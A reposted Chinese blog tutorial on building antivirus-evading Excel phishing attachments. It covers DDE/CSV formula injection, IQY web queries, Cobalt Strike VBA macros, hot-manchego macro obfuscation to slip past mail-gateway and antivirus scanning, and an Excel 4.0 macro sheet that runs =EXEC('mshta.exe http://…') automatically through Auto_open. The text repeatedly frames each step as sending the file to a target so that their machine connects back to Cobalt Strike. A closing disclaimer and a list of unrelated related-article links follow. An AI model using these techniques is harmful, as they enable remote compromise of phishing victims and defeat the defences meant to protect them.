当前位置: 首页 > article >正文

浅谈钓鱼攻防之道-制作免杀excel文件钓鱼

如果我告诉你我很厉害,也许你会说我在吹牛。但是如果我告诉你我并不厉害,你肯定知道我在撒谎。

1、CSV注入之RCE

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量,攻击这可以向Excel文件中注入可以输出或以CSV文件读取的恶意攻击载荷,当用户打开Excel文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能,在这个过程中,CSV中的所有Excel公式都会执行,当该函数有合法意图时,很易被滥用并允许恶意代码执行。

在Office的"文件->选项->信任中心"处开启"启用动态数据交换服务器启动"功能:

在这里插入图片描述

之后构造以下恶意载荷:

在这里插入图片描述

之后模拟用户打开Excel文件:点击更新

在这里插入图片描述

点击是

在这里插入图片描述

成功执行攻击载荷弹出计算器

在这里插入图片描述

反弹Shell

这里使用cs框架来实施攻击:

在这里插入图片描述

选择配置

在这里插入图片描述

使用文件下载功能

在这里插入图片描述

选择刚才生成的木马

在这里插入图片描述

构造恶意链接

在这里插入图片描述

之后在Excel中插入恶意载荷

在这里插入图片描述

发送给目标用户打开,点击更新

在这里插入图片描述

点击是

在这里插入图片描述

成功上线cs

在这里插入图片描述

CSV注入时常出现在数据导出功能部分,例如:将当前表格数据导出到Excel,此时攻击者可以在当前表格中插入恶意代码,之后当用户导出当前表格数据并保存为Excel,再次打开Excel时便会导致恶意载荷执行,同时CSV注入也可以用于钓鱼,攻击者可以精心构造一个富含大量数据的Excel并插入恶意代码,诱导受害者用户访问并查看,从而触发恶意代码~

2、IQY特性钓鱼

可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’(不能加载脚本),通过IQY【即web查询】语句,可以直接将各类web上的列表数据轻松引入到当前的excel中,而正是因为这样,从而给了我们利用excel制作钓鱼邮件的机会,假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码,那结果就不言而喻了。

利用过程:

新建一个excel文件,找到"数据"–>“自网站”–>“地址”,填写要抓取数据的网站url,选中想抓取数据的表单

在这里插入图片描述

在我们自己的服务器的网站目录下放一个rdyx0.html文件,内容是IYQ代码

在这里插入图片描述

填写网站url为:

在这里插入图片描述

点击确定

在这里插入图片描述

点击是

在这里插入图片描述

发送给用户,点击启用内容

在这里插入图片描述

点击是

在这里插入图片描述

成功上线cs

在这里插入图片描述

3、制作基本的excel宏文件

Cobalt Strike生成宏代码

在这里插入图片描述

选择监听器

在这里插入图片描述

成功生成宏文件

在这里插入图片描述

新建excel文档,点击视图——宏——查看宏

在这里插入图片描述

选择创建

在这里插入图片描述

选择本文件中ThisWorkbook,将cs生成的文件复制到里面

在这里插入图片描述

点击否

在这里插入图片描述

保存为xlsm后缀的文件

在这里插入图片描述

打开文件后,点击启用内容

在这里插入图片描述

cs上线

在这里插入图片描述

4、宏免杀(hot-manchego的使用)

4.1 为什么钓鱼附件进不了收件箱

随着类似msf,Cobalt Strike工具的出现,钓鱼邮件的制作成本大大降低了。但随之的问题也出现了,因为工具一般是写死的,无法定制化恶意执行代码,导致恶意代码的特征值很容易被抓取,会被发件服务器,收件邮件网关,本地杀毒等一系列防护设备或措施拦截。所以为了邮件能进收件箱,要搞清楚我们的钓鱼邮件在哪一个步骤挂掉了。一般常见的邮件流程如下:

邮件→邮件服务器→防毒→防垃圾→收件箱

1.2 如何进行免杀

要搞清楚我们的附件在什么环节被杀了,首先科普一下当下杀软的三种查杀方式:1.静态查杀 2.云查杀 3.行为查杀。邮件服务器为了可用性和隐私性一般只有静态查杀。所以我们只需要规避特征值绕过静态查杀就可以让钓鱼附件进入收件箱了。如何规避静态查杀?最好的办法当然是自己写恶意代码,但大部分云黑客都是脚本小子,这也没关系,现在github上也有很多免杀开源的脚本。这里以hot-manchego作为演示

编译成exe文件

1.3 hot-manchego的使用

下载hot-manchego脚本,并运行

这里我们需要将cs生成的宏写入vba脚本

在这里插入图片描述

运行hot-manchego,会生成rdyx0.xlsm文档

在这里插入图片描述

手动添加宏报毒

在这里插入图片描述

免杀后静态过360和火绒

在这里插入图片描述

点击启用内容

在这里插入图片描述

动态过360和火绒免杀,且不会提醒启用宏

在这里插入图片描述

5、利用Excel 4.0宏执行任意命令上线cs

了解:Excel 4.0宏

1992年发布用于Windows 3.0和3.1的电子表格软件Excel 4.0。对于自动化,可以通过所谓的宏工作表在此版本的Excel中使用XLM宏。X由于Microsoft很早就使用VBA宏(Visual Basic for Applications)来代替Excel 4.0宏技术,这导致Excel 4.0宏并不为大众所熟知。并且Excel 4.0宏存放在Excel 97 - 2003格式(.xls)文件中。

5.1 插入宏工作表

1.创建一个新的Excel工作簿。右键单击屏幕底部的“Sheet1”,然后单击“插入”。

在这里插入图片描述

2.弹出一个窗口,允许您从要插入的各种对象中进行选择。选择“MS Excel 4.0 宏表”并单击“确定”。

在这里插入图片描述

5.2 编写宏

已创建一个名为“rdyx0.xlsm”的新工作表。这是一种特殊的工作表类型,可以在其中输入XLM宏(所谓的宏表)。单击任何单元格并在此单元格和下面的后续单元格中输入公式=EXEC(“mshta.exe http://rdyx0”),和= HALT()。这里依次命令解释:执行命令、停止。

在这里插入图片描述

5.3 自动运行并隐藏宏

如果希望在打开工作簿时自动运行宏(类似于VBA宏的Sub AutoOpen()),请将宏的第一个单元格重命名为Auto_open。

在这里插入图片描述

打开文档后成功上线

在这里插入图片描述

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN: 
https://rdyx0.blog.csdn.net/

公众号:儒道易行
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


http://www.kler.cn/a/370325.html

相关文章:

  • feign调用跳过HTTPS的SSL证书校验配置详解
  • STM32之CubeMX图形化工具开发介绍(十七)
  • windows 远程链接 Ubuntu 24.04 LTS 图形界面
  • MySQL面试题2025 每日20道【其四】
  • MySQL中日期和时间戳的转换:字符到DATE和TIMESTAMP的相互转换
  • Unity Shader学习日记 part5 CG基础
  • Spring Boot:植物健康监测的智能先锋
  • 卡方检验方法概述与类型——四格表和R*C表卡方检验案例
  • Vxe UI vue vxe-table 表格中使用下拉表格,单元格渲染下拉表格
  • AJAX——设置 CORS 响应头实现跨域
  • Go 交互式CLI - survey
  • 玻色因hydroxypropyl tetrahydropyrantriol——普西因
  • Marimo:开源的响应式Python笔记本,特别适合数据分析工作者,丰富的UI组件并能转成生成应用
  • HF上的 llava-med-zh-instruct-60k 数据预处理代码
  • K8s-DashBoard部署与管理
  • 【Java语言】类和对象
  • 车载导航测试:确保驾驶者的精准导航体验
  • Java项目实战II基于微信小程序的医院管理系统(开发文档+数据库+源码)
  • Laravel5 抓取第三方网站图片,存储到本地
  • Stable Diffusion视频插件Ebsynth Utility安装方法
  • npm设置镜像源
  • JavaScript 的 axios 实现文件下载功能
  • NVR批量管理软件/平台EasyNVR多个NVR同时管理支持UDP和TCP传输协议
  • 海外著名门户媒体发稿之科技时报Tech Times - 大舍传媒
  • LED显示屏模组七大参数解析
  • 【面试题系列】MySQL 中 GROUP BY 和 DISTINCT 有什么区别?